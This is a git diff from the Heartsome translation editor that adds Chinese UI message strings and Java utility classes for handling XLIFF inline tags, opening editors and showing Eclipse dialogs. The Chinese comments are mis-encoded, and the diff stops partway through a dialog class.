\u5220\u9664\u8bed\u8a00\u65f6\u51fa\u73b0\u9519\u8bef +languagecode.AddOrUpdateLanguageDialog.addTitle = \u6dfb\u52a0\u8bed\u8a00 +languagecode.AddOrUpdateLanguageDialog.editTitle = \u7f16\u8f91\u8bed\u8a00 +languagecode.AddOrUpdateLanguageDialog.lblLangImage = \u56fe\u6807\uff1a +languagecode.AddOrUpdateLanguageDialog.imageLabel = \u4e3a\u8bed\u8a00\u8bbe\u7f6e\u4e00\u4e2a\u5927\u5c0f\u4e3a 16x12px \u7684\u56fe\u6807\uff0c\u5355\u51fb\u56fe\u7247\u4fee\u6539\u3002 +languagecode.AddOrUpdateLanguageDialog.lblImage = \uff0816x12 \u50cf\u7d20\uff09 +languagecode.AddOrUpdateLanguageDialog.txtCode = \u8bed\u8a00\u4ee3\u7801\uff1a +languagecode.AddOrUpdateLanguageDialog.txtName = \u8bed\u8a00\u540d\u79f0\uff1a +languagecode.AddOrUpdateLanguageDialog.isBidi = \u53cc\u5411\u8bed\u8a00\uff1a +languagecode.AddOrUpdateLanguageDialog.btnIsBidi = \u662f +languagecode.AddOrUpdateLanguageDialog.btnIsNotBidi = \u5426 +languagecode.AddOrUpdateLanguageDialog.msgTitle = \u63d0\u793a +languagecode.AddOrUpdateLanguageDialog.msg1 = \u8bf7\u8f93\u5165\u8bed\u8a00\u4ee3\u7801\u3002 +languagecode.AddOrUpdateLanguageDialog.msg2 = \u8be5\u8bed\u8a00\u4ee3\u7801\u5df2\u5b58\u5728\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +languagecode.AddOrUpdateLanguageDialog.msg3 = \u8bf7\u8f93\u5165\u8bed\u8a00\u540d\u79f0\u3002 +languagecode.AddOrUpdateLanguageDialog.msg4 = \u786e\u5b9a\u8981\u7ee7\u7eed\u4fdd\u5b58\u5417\uff1f +languagecode.AddOrUpdateLanguageDialog.msg5 = \u65e0\u6548\u7684 ISO 639-1 \u8bed\u8a00\u4ee3\u7801\u3002 +languagecode.AddOrUpdateLanguageDialog.msg6 = \u65e0\u6548\u7684 ISO 639-2 \u8bed\u8a00\u4ee3\u7801\u3002 +languagecode.AddOrUpdateLanguageDialog.msg7 = \u8bed\u8a00\u4ee3\u7801\u683c\u5f0f\u5e94\u8be5\u4e3a\uff1axx-YY \u6216 xxx-YY\u3002 +languagecode.AddOrUpdateLanguageDialog.msg8 = \u65e0\u6548\u7684 ISO 3166-1 \u56fd\u5bb6\u4ee3\u7801\u3002 +languagecode.AddOrUpdateLanguageDialog.msg9 = \u8bed\u8a00\u4ee3\u7801\u957f\u5ea6\u4e0d\u6b63\u786e\u3002 + +# 2012-09-27 add by jason +languagecode.LanguageCodesPreferencePage.msg5 = \u8bed\u8a00\u88ab\u5220\u9664\u540e\u5c06\u65e0\u6cd5\u6062\u590d\uff0c\u786e\u5b9a\u8981\u5220\u9664\u9009\u4e2d\u7684\u8bed\u8a00\u5417\uff1f + + +utils.OpenMesssageUtils.messageDialog.ErrorTitle = \u9519\u8bef +utils.OpenMesssageUtils.messageDialog.Warningtitle = \u8b66\u544a +utils.OpenMesssageUtils.messageDialog.Infotitle = \u6d88\u606f +utils.OpenMesssageUtils.messageDialog.confirmTitle = \u786e\u8ba4 +dialog.HsabstractProgressDialog.closeTtile=\u5173\u95ed +dialog.HsabstractProgressDialog.closeMsg=\u5f53\u524d\u6709\u4efb\u52a1\u6b63\u5728\u8fd0\u884c\uff0c\u5fc5\u987b\u5148\u53d6\u6d88\u5728\u8fd0\u884c\u7684\u4efb\u52a1\u540e\u518d\u5173\u95ed\u7a97\u53e3\u3002 +dialog.HsabstractProgressDialog.taskFinished=\u64cd\u4f5c\u5b8c\u6210\u3002 +dialog.HsabstractProgressDialog.outofmemory = \u5185\u5b58\u4e0d\u8db3\uff0c\u65e0\u6cd5\u5b8c\u6210\u6b64\u64cd\u4f5c\u3002\n\n\u8bf7\u6309\u7167\u5982\u4e0b\u6b65\u9aa4\u589e\u52a0\u672c\u8f6f\u4ef6\u53ef\u4f7f\u7528\u7684\u5185\u5b58\uff1a\n1\u3001Windows/Linux \u7528\u6237\u8bf7\u6253\u5f00\u8f6f\u4ef6\u5b89\u88c5\u76ee\u5f55\u4e2d\u7684 Heartsome TMX Editor.ini \u6587\u4ef6\uff1b\n2\u3001Mac OS X \u7528\u6237\u8bf7\u6253\u5f00\u8f6f\u4ef6\u5b89\u88c5\u76ee\u5f55\uff0c\u53f3\u952e\u70b9\u51fb Heartsome TMX Editor.app\uff0c\u9009\u62e9\u201c\u663e\u793a\u5305\u5185\u5bb9\u201d\uff0c\u6253\u5f00 Contents/MacOS/Heartsome TMX Editor.ini \u6587\u4ef6\uff1b\n3\u3001\u4fee\u6539\u4e0a\u8ff0 .ini \u6587\u4ef6\u4e2d\u7684 -Xmx512m \u4e3a\u66f4\u5927\u7684\u6570\u503c\uff0c\u4f8b\u5982\u6539\u4e3a -Xmx1024m \u6216 -Xmx1536m\uff08\u8bf7\u6ce8\u610f\u4fee\u6539\u540e\u7684\u503c\u4e0d\u80fd\u8d85\u8fc7\u60a8\u7684\u7269\u7406\u5185\u5b58\u5927\u5c0f\uff09\uff1b\n4\u3001\u91cd\u542f\u672c\u8f6f\u4ef6\u3002 + +# add by robert 2013-12-12 +dialog.FileCoverMsgDialog.windowTitle = \u6587\u4ef6\u91cd\u540d\u51b2\u7a81 +dialog.FileCoverMsgDialog.alwaysBtn = \u4e0d\u518d\u8be2\u95ee +dialog.FileCoverMsgDialog.skipBtn = \u8df3\u8fc7 +dialog.FileCoverMsgDialog.cancelBtn = \u53d6\u6d88 +dialog.FileCoverMsgDialog.overBtn = \u8986\u76d6 +dialog.FileCoverMsgDialog.message = \u6587\u4ef6 {0} \u5df2\u7ecf\u5b58\u5728\uff0c\u8bf7\u9009\u62e9\u5904\u7406\u65b9\u5f0f\uff1a \ No newline at end of file diff --git a/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/utils/InnerTagUtil.java b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/utils/InnerTagUtil.java new file mode 100644 index 0000000..07de6ac --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/utils/InnerTagUtil.java @@ -0,0 +1,302 @@ +package net.heartsome.cat.common.ui.utils; + +import static net.heartsome.cat.common.ui.innertag.PlaceHolderNormalModeBuilder.PATTERN; + +import java.util.ArrayList; +import java.util.Comparator; +import java.util.List; +import java.util.Map; +import java.util.Map.Entry; +import java.util.TreeMap; +import java.util.regex.Matcher; + +import net.heartsome.cat.common.innertag.InnerTagBean; +import net.heartsome.cat.common.innertag.TagStyle; +import net.heartsome.cat.common.innertag.TagType; +import net.heartsome.cat.common.innertag.factory.IInnerTagFactory; +import net.heartsome.cat.common.innertag.factory.XliffInnerTagFactory; +import net.heartsome.cat.common.ui.innertag.PlaceHolderNormalModeBuilder; + +import org.eclipse.jface.text.Position; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Font; +import org.eclipse.swt.widgets.Display; + +/** + * 内部标记工具类,本类åªæ“作文本,标记ç€è‰²çš„部分请å‚看 {@link innertagC} + *

    + * 此类中有几个概念需è¦æ³¨æ„: + *

  • XmlTag: XML æ ¼å¼çš„标记
  • + *
  • StyledTag: 显示在 UI 上的标记样å¼
  • + *
  • XmlValue: æºè¯­è¨€æˆ–目标语言的 XML æ ¼å¼çš„值(XLIFF 文件中的值)
  • + *
  • DisplayValue: æºè¯­è¨€æˆ–目标语言的添加了标记样å¼çš„显示文本(UI 上的显示值)
  • + *

    + * @author weachy + * @since JDK1.5 + */ +public class InnerTagUtil { + + private static PlaceHolderNormalModeBuilder placeHolderCreater = new PlaceHolderNormalModeBuilder();; + + private InnerTagUtil() { + // Color borderColor = new Color(Display.getCurrent(), 0, 255, 255); + // Color textBgColor = new Color(Display.getCurrent(), 0, 205, 205); + // Color inxBgColor = new Color(Display.getCurrent(), 0, 139, 139); + // Color textFgColor = new Color(Display.getCurrent(), 0, 104, 139); + // Color inxFgColor = borderColor; + + // Font font = new Font(Display.getDefault(), "宋体", 10, SWT.NORMAL); + } + + /** 标记字体 */ + public static Font tagFont = getTagFont(); + + private static Font getTagFont() { + return new Font(Display.getDefault(), "Arial", 8, SWT.BOLD); + } + + /** + * 将带内部标记的文本由XMLæ ¼å¼è½¬æ¢ä¸ºæ˜¾ç¤ºæ ¼å¼çš„文本 + * @param originalValue + * 原始的带内部标记的XMLæ ¼å¼çš„文本 + * @return ; + */ + public static TreeMap parseXmlToDisplayValue(StringBuffer originalValue, TagStyle style) { + // 得到标签映射map(key: 内部标记;value: 内部标记实体) + TreeMap tags = new TreeMap(new Comparator() { + public int compare(String str1, String str2) { + int num1 = InnerTagUtil.getStyledTagNum(str1); + int num2 = InnerTagUtil.getStyledTagNum(str2); + if (num1 == num2) { + return str1.indexOf(String.valueOf(num1)) - str2.indexOf(String.valueOf(num1)); + } + return num1 - num2; + } + }); + if (originalValue == null || originalValue.length() == 0) { + return tags; + } + + placeHolderCreater.setStyle(style); + + IInnerTagFactory innerTagFactory = new XliffInnerTagFactory(originalValue.toString(), placeHolderCreater); + originalValue.replace(0, originalValue.length(), innerTagFactory.getText()); // æå–标记之åŽçš„文本。 + + List innerTagBeans = innerTagFactory.getInnerTagBeans(); + + if (innerTagBeans != null && innerTagBeans.size() > 0) { + for (int i = 0; i < innerTagBeans.size(); i++) { + String placeHolder = placeHolderCreater.getPlaceHolder(innerTagBeans, i); + tags.put(placeHolder, innerTagBeans.get(i)); + // originalValue.replace(innerTagBean.getOffset(), innerTagBean.getOffset(), innerTag.toString()); + } + } + + return tags; + } + + public static final char INVISIBLE_CHAR = '\u200A'; // ä¸å¯è§å­—符(此字符为:ä¸æ¢è¡Œç©ºæ ¼ï¼‰ + + /** + * æ ¹æ® source 的内容显示内部标记 + * @param originalValue + * 原始值 + * @param srcOriginalValue + * Source 值 + * @return ; + */ + public static Map parseXmlToDisplayValueFromSource(String source, StringBuffer originalValue, + TagStyle style) { + // 得到标签映射map(key: 内部标记;value: 内部标记实体) + TreeMap tags = new TreeMap(new Comparator() { + public int compare(String str1, String str2) { + int num1 = InnerTagUtil.getStyledTagNum(str1); + int num2 = InnerTagUtil.getStyledTagNum(str2); + if (num1 == num2) { + return str1.indexOf(String.valueOf(num1)) - str2.indexOf(String.valueOf(num1)); + } + return num1 - num2; + } + }); + if (originalValue == null || originalValue.length() == 0) { + return tags; + } + + placeHolderCreater.setStyle(style); + + IInnerTagFactory innerTagFactory = new XliffInnerTagFactory(source, placeHolderCreater); + List sourceInnerTagBeans = innerTagFactory.getInnerTagBeans(); + + if (sourceInnerTagBeans != null && sourceInnerTagBeans.size() > 0) { + int index = -1; + for (int i = 0; i < sourceInnerTagBeans.size(); i++) { + InnerTagBean innerTagBean = sourceInnerTagBeans.get(i); + String placeHolder = placeHolderCreater.getPlaceHolder(sourceInnerTagBeans, i); + tags.put(placeHolder, innerTagBean); + + // String xml1 = FindReplaceDocumentAdapter.escapeForRegExPattern(entry.getValue()); + String xml = innerTagBean.getContent(); + if ((index = originalValue.indexOf(xml, index)) != -1) { // æ›¿æ¢ Source 中存在的标记 + originalValue.replace(index, index + xml.length(), placeHolder); + index += placeHolder.length(); + } + } + } + + String target = innerTagFactory.parseInnerTag(originalValue.toString()); // 替æ¢ç›®æ ‡æ–‡æœ¬ä¸­çš„错误标记 + originalValue.replace(0, originalValue.length(), target); + + return tags; + } + + /** + * å°†InnerTag转æ¢å›žXMLæ ¼å¼çš„标记 + * @param text + * @return ; + */ + public static String parseDisplayToXmlValue(Map tags, String text) { + StringBuffer sb = new StringBuffer(text); + for (Entry entry : tags.entrySet()) { + String innerTag = entry.getKey(); + String xmlTag = entry.getValue().getContent(); + int index = -1; + while ((index = sb.indexOf(innerTag, index + 1)) > -1) { + sb.replace(index, index + innerTag.length(), xmlTag); + } + } + return sb.toString(); + } + + /** + * 转义“<â€ã€â€œ>â€ä¸ºâ€œ&lt;â€ã€â€œ&gt;†+ * @param source + * æºæ–‡æœ¬ + * @return 转义åŽçš„文本; + */ + public static String escapeTag(String source) { + return source.replace("&", "&").replace("<", "<").replace(">", ">"); + } + + /** + * 转义“&lt;â€ã€â€œ&gt;â€ä¸ºâ€œ<â€ã€â€œ>†+ * @param source + * æºæ–‡æœ¬ + * @return 转义åŽçš„文本; + */ + public static String resolveTag(String source) { + return source.replace("<", "<").replace(">", ">").replace("&", "&"); + } + + /** + * 得到内部标记的类型。 + * @param innerTag + * 内部标记 + * @return ; + */ + public static TagType getStyledTagType(String innerTag) { + int num = getStyledTagNum(innerTag); + String tagStartIndex = PlaceHolderNormalModeBuilder.createStyledTagStartIndex(num).toString(); + String tagEndIndex = PlaceHolderNormalModeBuilder.createStyledTagEndIndex(num).toString(); + if (innerTag.startsWith(tagStartIndex) && innerTag.endsWith(tagEndIndex)) { + return TagType.STANDALONE; + } else if (innerTag.startsWith(tagStartIndex)) { + return TagType.START; + } else if (innerTag.endsWith(tagEndIndex)) { + return TagType.END; + } + return null; + } + + /** + * 得到内部标记索引å·ã€‚ + * @param innerTag + * 内部标记 + * @return ; + */ + public static int getStyledTagNum(String innerTag) { + int res = 0; + for (int i = 0; i < innerTag.length(); i++) { + char ch = innerTag.charAt(i); + if (Character.isDigit(ch)) { + res = res * 10 + Integer.parseInt(String.valueOf(ch)); + } else { + if (res > 0) { + return res; + } + } + } + return -1; + } + + /** + * 获å–忽略标记的值 + * @param displayValue + * 带标记样å¼çš„文本。 + * @return ; + */ + public static String getDisplayValueWithoutTags(String displayValue) { + StringBuffer t = new StringBuffer(displayValue); + Position[] tagRanges = getStyledTagRanges(displayValue); + for (int i = tagRanges.length - 1; i >= 0; i--) { + Position tagRange = tagRanges[i]; + t.delete(tagRange.getOffset(), tagRange.getOffset() + tagRange.getLength()); + } + return t.toString(); + } + + // private static Pattern PATTERN = Pattern.compile("(" + INVISIBLE_CHAR + "\\d+)?" + INVISIBLE_CHAR + // + "(x|bx|ex|g|bpt|ept|mrk|sub|ph|it)" + INVISIBLE_CHAR + "(\\d+" + INVISIBLE_CHAR + ")?"); + + /** + * 得到一段带标记样å¼çš„文本中,指定ä½ç½®ä¸Šçš„标记的索引范围。 + * @param tagStyledText + * 带标记样å¼çš„文本。 + * @param offset + * @return 若指定ä½ç½®ä¸Šä¸å­˜åœ¨æ ‡è®°ï¼Œåˆ™è¿”回 null; + */ + public static Position getStyledTagRange(String tagStyledText, int offset) { + Matcher m = PATTERN.matcher(tagStyledText); + while (m.find()) { + int start = m.start(); + int end = m.end(); + if (start < offset && offset < end) { + return new Position(start, end - start); + } + } + return null; + } + + /** + * 得到一段带标记样å¼çš„文本中所有标记的索引范围。 + * @param tagStyledText + * 带标记样å¼çš„文本。 + * @return ; + */ + public static Position[] getStyledTagRanges(String tagStyledText) { + Matcher m = PATTERN.matcher(tagStyledText); + ArrayList positions = new ArrayList(); + while (m.find()) { + int start = m.start(); + int end = m.end(); + positions.add(new Position(start, end - start)); + } + return positions.toArray(new Position[] {}); + } + + /** + * 得到一段带标记样å¼çš„文本中所有的标记。 + * @param tagStyledText + * 带标记样å¼çš„文本。 + * @return ; + */ + public static String[] getStyledTags(String tagStyledText) { + Matcher m = PATTERN.matcher(tagStyledText); + ArrayList tags = new ArrayList(); + while (m.find()) { + int start = m.start(); + int end = m.end(); + tags.add(tagStyledText.substring(start, end)); + } + return tags.toArray(new String[] {}); + } +} diff --git a/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/utils/OpenEditorUtil.java b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/utils/OpenEditorUtil.java new file mode 100644 index 0000000..79080b4 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/utils/OpenEditorUtil.java @@ -0,0 +1,85 @@ +package net.heartsome.cat.common.ui.utils; + +import java.io.File; +import java.net.URI; + +import org.eclipse.core.resources.IFile; +import org.eclipse.ui.IEditorRegistry; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.PartInitException; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.ide.IDE; + +/** + * 打开系统编辑器的工具类 + * @author weachy + * @version + * @since JDK1.5 + */ +public class OpenEditorUtil { + + /** + * 使用系统默认编辑器打开文件 + * @param filePath + * 文件路径; + */ + public static void OpenFileWithSystemEditor(String filePath) { + OpenFileWithSystemEditor(new File(filePath).toURI()); + } + + /** + * 使用系统默认编辑器打开文件 + * @param page + * IWorkbenchPage 对象 + * @param filePath + * 文件路径; + */ + public static void OpenFileWithSystemEditor(IWorkbenchPage page, String filePath) { + OpenFileWithSystemEditor(page, new File(filePath).toURI()); + } + + /** + * 使用系统默认编辑器打开文件 + * @param uri + * ; + */ + public static void OpenFileWithSystemEditor(URI uri) { + OpenFileWithSystemEditor(getCurrentPage(), uri); + } + + /** + * 使用系统默认编辑器打开文件 + * @param page + * IWorkbenchPage 对象 + * @param uri + * ; + */ + public static void OpenFileWithSystemEditor(IWorkbenchPage page, URI uri) { + try { + IDE.openEditor(page, uri, IEditorRegistry.SYSTEM_EXTERNAL_EDITOR_ID, true); + } catch (PartInitException e) { + e.printStackTrace(); + } + } + + /** + * 使用系统默认编辑器打开文件 + * @param file + * IFile 对象(工作空间内的文件); + */ + public static void OpenFileWithSystemEditor(IFile file) { + try { + IDE.openEditor(getCurrentPage(), file, IEditorRegistry.SYSTEM_EXTERNAL_EDITOR_ID); + } catch (PartInitException e) { + e.printStackTrace(); + } + } + + /** + * 得到当å‰çš„ IWorkbenchPage 对象 + * @return ; + */ + private static IWorkbenchPage getCurrentPage() { + return PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage(); + } +} diff --git a/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/utils/OpenMessageUtils.java b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/utils/OpenMessageUtils.java new file mode 100644 index 0000000..a115bc5 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/utils/OpenMessageUtils.java @@ -0,0 +1,173 @@ +/** + * OpenMessageUtils.java + * + * Version information : + * + * Date:2013-5-28 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.common.ui.utils; + +import java.io.PrintWriter; +import java.io.StringWriter; +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.common.ui.Activator; +import net.heartsome.cat.common.ui.resource.Messages; + +import org.eclipse.core.runtime.Assert; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.MultiStatus; +import org.eclipse.core.runtime.Status; +import org.eclipse.jface.dialogs.ErrorDialog; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Shell; + +/** + * 消æ¯å¤„ç†å·¥å…·ç±»ï¼Œå¼¹å‡ºæ¶ˆæ¯æ示给用户。 + * @author Jason + * @version 1.0 + * @since JDK1.6 + */ +public final class OpenMessageUtils { + + /** + * 弹出错误ã€è­¦å‘Šæˆ–消æ¯å¯¹è¯æ¡† + * @param severity + * 必须是 IStatus.ERROR,IStatus.WARNING,IStatus.INFO三者之一 + * @param message + * 错误ã€è­¦å‘Šæˆ–消æ¯çš„文本信æ¯ï¼Œä¸èƒ½ä¸ºnull或空串; + */ + public static void openMessage(int severity, String message) { + IStatus status = getIStatus(severity, message); + String title = getMessageDlgTitle(severity); + if (title == null) { + return; + } + ErrorDialog.openError(Display.getCurrent().getActiveShell(), title, null, status); + } + + /** + * 弹出 确认对è¯æ¡† robert 2013-06-18 + * @param message + * @return + */ + public static boolean openConfirmMessage(String message){ + return MessageDialog.openConfirm(Display.getDefault().getActiveShell(), + Messages.getString("utils.OpenMesssageUtils.messageDialog.confirmTitle"), message); + } + + /** + * 弹出错误或警告对è¯æ¡†ï¼Œéœ€è¦æä¾›é”™è¯¯æˆ–è­¦å‘Šçš„æ–‡æœ¬åŽŸå› ä¿¡æ¯ + * @param severity + * 必须是IStatus.ERROR,IStatus.WARNING + * @param message + * 错误ã€è­¦å‘Šçš„文本信æ¯ï¼Œä¸èƒ½ä¸ºnull或空串; + * @param reasonMsg + * 错误或警告的文本原因信æ¯ï¼Œä¸èƒ½ä¸ºnull或空串; + */ + public static void openMessageWithReason(int severity, String message, String reasonMsg) { + Assert.isLegal(severity == IStatus.ERROR || severity == IStatus.WARNING); + Assert.isLegal(message != null && message.length() > 0); + IStatus status = getIStatus(severity, reasonMsg); + String title = getMessageDlgTitle(severity); + if (title == null) { + return; + } + ErrorDialog.openError(new Shell(Display.getDefault()), title, message, status); + } + + /** + * 弹出错误或警告对è¯æ¡†ï¼Œéœ€è¦æ供错误或警告的文本原因信æ¯ä»¥åŠè¯¦ç»†çš„异常Throwable + * @param message + * 错误或警告的文本信æ¯ï¼Œä¸èƒ½ä¸ºnull或空串 + * @param reasonMsg + * 错误ã€è­¦å‘Šçš„文本原因信æ¯ï¼Œä¸èƒ½ä¸ºnull或空串 + * @param throwable + * Throwable 对象,错误或警告的详细异常信æ¯; + */ + public static void openErrorMsgWithDetail(String message, String reasonMsg, Throwable throwable) { + Assert.isLegal(message != null && message.length() > 0); + Assert.isLegal(reasonMsg != null && reasonMsg.length() > 0); + Assert.isLegal(throwable != null); + IStatus status = throwable2MultiStatus(reasonMsg, throwable); + String title = getMessageDlgTitle(IStatus.ERROR); + if (title == null) { + return; + } + ErrorDialog.openError(new Shell(Display.getDefault()), title, message, status); + } + + private static String getMessageDlgTitle(int severity) { + String title = null; + switch (severity) { + case IStatus.ERROR: + title = Messages.getString("utils.OpenMesssageUtils.messageDialog.ErrorTitle"); + break; + case IStatus.WARNING: + title = Messages.getString("utils.OpenMesssageUtils.messageDialog.Warningtitle"); + break; + case IStatus.INFO: + title = Messages.getString("utils.OpenMesssageUtils.messageDialog.Infotitle"); + break; + default: + break; + } + return title; + } + + private static IStatus getIStatus(int severity, String message) { + Assert.isLegal(severity == IStatus.ERROR || severity == IStatus.WARNING || severity == IStatus.INFO); + Assert.isLegal(message != null && message.length() > 0); + IStatus status = new Status(severity, Activator.PLUGIN_ID, message); + return status; + } + + /** + * å°†Throwable转化æˆMultiStatus对象, + * 让MultiStatus对象包å«è¯¦ç»†çš„Throwable详细的堆栈信æ¯ã€‚ + * @param message + * MultiStatuså¯¹è±¡çš„æ¶ˆæ¯ + * @param throwable + * 异常对象 + * @return 包å«æœ‰è¯¦ç»†çš„堆栈信æ¯çš„MultiStatus对象; + */ + public static MultiStatus throwable2MultiStatus(String message, Throwable throwable) { + StringWriter sw = new StringWriter(); + PrintWriter pw = new PrintWriter(sw); + throwable.printStackTrace(pw); + + // stack trace as a string + final String trace = sw.toString(); + + // Temp holder of child statuses + List childStatuses = new ArrayList(); + + // Split output by OS-independend new-line + String[] lines = trace.split(System.getProperty("line.separator")); //$NON-NLS-N$ + int j = lines.length == 1 ? 0 : 1; + for (int i = j; i < lines.length; i++) { + String line = lines[i]; + // build & add status + childStatuses.add(new Status(IStatus.ERROR, Activator.PLUGIN_ID, line)); + } + + // convert to array of statuses + MultiStatus ms = new MultiStatus(Activator.PLUGIN_ID, IStatus.ERROR, childStatuses.toArray(new Status[] {}), + message, throwable); + return ms; + } + + /** + * Private constructor. Prevent instance + */ + private OpenMessageUtils() { + + } +} diff --git a/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/wizard/TSTitleAreaDialog.java b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/wizard/TSTitleAreaDialog.java new file mode 100644 index 0000000..3902851 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/wizard/TSTitleAreaDialog.java @@ -0,0 +1,731 @@ +/******************************************************************************* + * Copyright (c) 2000, 2010 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * IBM Corporation - initial API and implementation + * Konstantin Scheglov - Fix for bug 41172 + * [Dialogs] Bug with Image in TitleAreaDialog + * Sebastian Davids - Fix for bug 82064 + * [Dialogs] TitleAreaDialog#setTitleImage cannot be called before open() + *******************************************************************************/ +package net.heartsome.cat.common.ui.wizard; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.IMessageProvider; +import org.eclipse.jface.dialogs.TrayDialog; +import org.eclipse.jface.resource.JFaceColors; +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.jface.window.ToolTip; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.RGB; +import org.eclipse.swt.layout.FormAttachment; +import org.eclipse.swt.layout.FormData; +import org.eclipse.swt.layout.FormLayout; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Listener; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Text; + +/** + * A dialog that has a title area for displaying a title and an image as well as + * a common area for displaying a description, a message, or an error message. + * (此类与 org.eclipse.jface.dialogs.TitleAreaDialog 的区别在于å‘导的æ述部分采用的 Label,TitleAreaDialog 采用的 Text) + *

    + * This dialog class may be subclassed. + */ +public class TSTitleAreaDialog extends TrayDialog { + /** + * Image registry key for error message image. + */ + public static final String DLG_IMG_TITLE_ERROR = DLG_IMG_MESSAGE_ERROR; + + /** + * Image registry key for banner image (value + * "dialog_title_banner_image"). + */ + public static final String DLG_IMG_TITLE_BANNER = "dialog_title_banner_image";//$NON-NLS-1$ + + /** + * Message type constant used to display an info icon with the message. + * + * @since 2.0 + * @deprecated + */ + public final static String INFO_MESSAGE = "INFO_MESSAGE"; //$NON-NLS-1$ + + /** + * Message type constant used to display a warning icon with the message. + * + * @since 2.0 + * @deprecated + */ + public final static String WARNING_MESSAGE = "WARNING_MESSAGE"; //$NON-NLS-1$ + + // Space between an image and a label + private static final int H_GAP_IMAGE = 5; + + // Minimum dialog width (in dialog units) + private static final int MIN_DIALOG_WIDTH = 350; + + // Minimum dialog height (in dialog units) + private static final int MIN_DIALOG_HEIGHT = 150; + + private Label titleLabel; + + private Label titleImageLabel; + + private Label bottomFillerLabel; + + private Label leftFillerLabel; + + private RGB titleAreaRGB; + + Color titleAreaColor; + + private String message = ""; //$NON-NLS-1$ + + private String errorMessage; + + private Label messageLabel; + + private Composite workArea; + + private Label messageImageLabel; + + private Image messageImage; + + private boolean showingError = false; + + private boolean titleImageLargest = true; + + private int messageLabelHeight; + + private Image titleAreaImage; + + private int xTrim; + + private int yTrim; + + /** + * Instantiate a new title area dialog. + * + * @param parentShell + * the parent SWT shell + */ + public TSTitleAreaDialog(Shell parentShell) { + super(parentShell); + } + + /* + * @see Dialog.createContents(Composite) + */ + protected Control createContents(Composite parent) { + // create the overall composite + Composite contents = new Composite(parent, SWT.NONE); + contents.setLayoutData(new GridData(GridData.FILL_BOTH)); + // initialize the dialog units + initializeDialogUnits(contents); + FormLayout layout = new FormLayout(); + contents.setLayout(layout); + // Now create a work area for the rest of the dialog + workArea = new Composite(contents, SWT.NONE); + GridLayout childLayout = new GridLayout(); + childLayout.marginHeight = 0; + childLayout.marginWidth = 0; + childLayout.verticalSpacing = 0; + workArea.setLayout(childLayout); + Control top = createTitleArea(contents); + resetWorkAreaAttachments(top); + workArea.setFont(JFaceResources.getDialogFont()); + // initialize the dialog units + initializeDialogUnits(workArea); + // create the dialog area and button bar + dialogArea = createDialogArea(workArea); + buttonBar = createButtonBar(workArea); + + // computing trim for later + Point rect = messageLabel.computeSize(SWT.DEFAULT, SWT.DEFAULT, true); + xTrim = rect.x - 100; + yTrim = rect.y - 100; + + // need to react to new size of title area + getShell().addListener(SWT.Resize, new Listener() { + public void handleEvent(Event event) { + layoutForNewMessage(true); + } + }); + return contents; + } + + /** + * Creates and returns the contents of the upper part of this dialog (above + * the button bar). + *

    + * The Dialog implementation of this framework method creates + * and returns a new Composite with no margins and spacing. + * Subclasses should override. + *

